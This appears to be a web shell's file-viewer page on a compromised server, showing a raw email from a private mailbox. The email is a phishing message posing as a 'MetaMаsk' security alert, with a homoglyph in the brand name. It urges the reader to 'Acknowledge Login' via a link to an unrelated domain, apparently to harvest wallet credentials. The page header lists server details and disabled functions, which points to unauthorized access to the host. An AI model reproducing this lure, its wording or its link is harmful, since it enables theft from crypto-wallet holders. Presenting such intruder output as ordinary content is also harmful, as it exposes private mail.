HEX
Server: Apache/2
System: Linux s01 6.1.0-34-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.135-1 (2025-04-25) x86_64
User: beestg (1003)
PHP: 8.3.25
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/beestg/imap/beestgenot.nl/info/Maildir/new/1748794877.M18767P681877.s01,S=4901,W=4995
Return-Path: <postmaster@7997796518.nxcli.io>
Delivered-To: info@beestgenot.nl
Received: from s01.web29.nl
	by s01.web29.nl with LMTP
	id qcHqAP19PGiVZwoAUcEGyQ
	(envelope-from <postmaster@7997796518.nxcli.io>)
	for <info@beestgenot.nl>; Sun, 01 Jun 2025 18:21:17 +0200
Return-path: <postmaster@7997796518.nxcli.io>
Envelope-to: info@beestgenot.nl
Delivery-date: Sun, 01 Jun 2025 18:21:17 +0200
Received: from mail by s01.web29.nl with spam-scanned (Exim 4.98.2)
	(envelope-from <postmaster@7997796518.nxcli.io>)
	id 1uLlQy-0000000301P-3aTh
	for info@beestgenot.nl;
	Sun, 01 Jun 2025 18:21:16 +0200
X-Spam-Checker-Version: SpamAssassin 4.0.1 (2024-03-26) on s01.web29.nl
X-Spam-Level: ***
X-Spam-Status: No, score=3.5 required=5.0 tests=DKIM_INVALID,DKIM_SIGNED,
	HEADER_FROM_DIFFERENT_DOMAINS,HTML_IMAGE_ONLY_20,HTML_MESSAGE,
	MIME_HTML_ONLY,RCVD_IN_VALIDITY_CERTIFIED_BLOCKED,
	RCVD_IN_VALIDITY_RPBL_BLOCKED,RCVD_IN_VALIDITY_SAFE_BLOCKED,
	URIBL_DBL_SPAM autolearn=no autolearn_force=no version=4.0.1
Received: from cloudhost-4389340.us-midwest-1.nxcli.net ([209.87.159.171])
	by s01.web29.nl with esmtps  (TLS1.2) tls TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
	(Exim 4.98.2)
	(envelope-from <postmaster@7997796518.nxcli.io>)
	id 1uLlQy-0000000301K-0kFX
	for info@beestgenot.nl;
	Sun, 01 Jun 2025 18:21:16 +0200
Comment: DomainKeys? See http://domainkeys.sourceforge.net/
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
  s=default; d=7997796518.nxcli.io;
  b=dgf23mG+0wWwTmzVLGrIuO0Fk5HJbVn0hkRqDSZOCR6nrDUW0KU7747b7ZlI9nca+936WC/lVY53bHq+VjBV7qUKnImfE5ieO8sYIlu66xxAgJs/fetUmKY7EXihKO8SmSTMk0B2LHQz4znELHmc/zhlCri+MN1eLuIuqTP9IJcdC4puoKZinBy4ssH2ehCJGz3rb1yvVqX9MkohtPWwY4H8BHt/ZeKEpbCvyTmDTUvY6XnHEtqg8GkW/+jIVpQOxrlpP+ilR/DZg3kJiRjQuucoYKM75BTzfYCSXwFfNoyCGAz4OHo51fHcMFccn8hlZFQDzemOYiw6rZ34fZATAA==;
  h=Received:Date:Message-ID:To:Subject:X-PHP-Originating-Script:From:Reply-To:MIME-Version:Content-Type:X-Mailer:X-Priority;
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed; d=7997796518.nxcli.io; h=
	date:message-id:to:subject:from:reply-to:mime-version
	:content-type; s=default; bh=VZcvgN47Z5aYLU7Pu6CL1Y/KIf2G/kJxKfL
	phtxk+Ps=; b=HOIuvuFlWJVUgfvzJix4DcBDS03B9VrsRsBc9de56qwqCoJ/3c6
	qxSzFJe9vPdqgmyMNqeGkaPD5f0xT9eHznixXpzfoq5yQrUINvnHNLD36SiU4o5L
	mQY9RaPNX3l8nreKXxfMKEioiHLP6xCEaNiA5bRlVxO6jU31mwWddT/qkDdEMjQr
	78l7XODvUpmAAh0ckz90Yr2dfW9VOuL8yUgJ7xCWLoKjb+TIwqv18CLBa6zuh5V0
	wzajPiIA3zNR5YCfONsRwg/NAomMnPsymFKJl0tN5+U5/h5Z4NN+C5hKr1RUG8R9
	PCkKWEgmGh7nPyijuk3SjWREx9YvZlWBamg==
Received: (qmail 22590 invoked by uid 10138); 1 Jun 2025 16:21:07 +0000
Date: 1 Jun 2025 16:21:07 +0000
Message-ID: <20250601162107.22589.qmail@cloudhost-4389340.us-midwest-1.nxcli.net>
To: info@beestgenot.nl
Subject: Security Notification
X-PHP-Originating-Script: 10138:j.php
From: "MetaMаsk" <qny9s0z1@kjv.io>
Reply-To: qny9s0z1@kjv.io
MIME-Version: 1.0
Content-Type: text/html; charset=UTF-8
X-Mailer: PHP/8.2.20
X-Priority: 3
Forward-Confirmed-ReverseDNS: Reverse and forward lookup success on 209.87.159.171, -10 Spam score
X-DKIM: signer='7997796518.nxcli.io' status='invalid' reason='pubkey_unavailable'
DKIMCheck: Invalid DKIM, 100 Spam score. May be a temporary problem.
SpamTally: Final spam score: 90
X-Antivirus-Scanner: Clean mail though you should still use an Antivirus


<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>MetaMаsk - Review Required</title>
</head>
<body style="margin:0;padding:20px;background:#f5f6fa;font-family:Arial,sans-serif;color:#333">
  <table cellpadding="0" cellspacing="0" width="100%" style="max-width:520px;margin:auto;background:#fff;border:1px solid #ddd;border-radius:8px;">
    <tr>
      <td style="padding:28px 24px;text-align:center;">
        <img src="https://images.ctfassets.net/clixtyxoaeas/1ezuBGezqfIeifWdVtwU4c/d970d4cdf13b163efddddd5709164d2e/MetaMask-icon-Fox.svg" alt="MetaMаsk" width="48" style="margin-bottom:16px;">
        <h2 style="color:#f6851b;font-size:18px;margin-bottom:18px;">Review Required</h2>
        <p style="font-size:15px;line-height:1.6;margin-bottom:14px;">
          Your account was accessed from an unfamiliar IP address.
        </p>
        <p style="font-size:15px;line-height:1.6;margin-bottom:18px;">
          Check this alert and make sure it was you. If not, please take action immediately to protect your wallet.
        </p>
        <p style="margin:24px 0;">
          <a href="https://construction-engineering.shop/bmw/?id=-2819013026792364831-8757" style="background:#f6851b;color:#fff;text-decoration:none;padding:10px 22px;border-radius:6px;font-weight:bold;font-size:15px;display:inline-block;">
            Acknowledge Login
          </a>
        </p>
        <p style="font-size:12px;color:#888;margin-top:24px;">
          Action is recommended if this was not expected.<br><br>— MetaMаsk Security Team
        </p>
      </td>
    </tr>
  </table>
</body>
</html>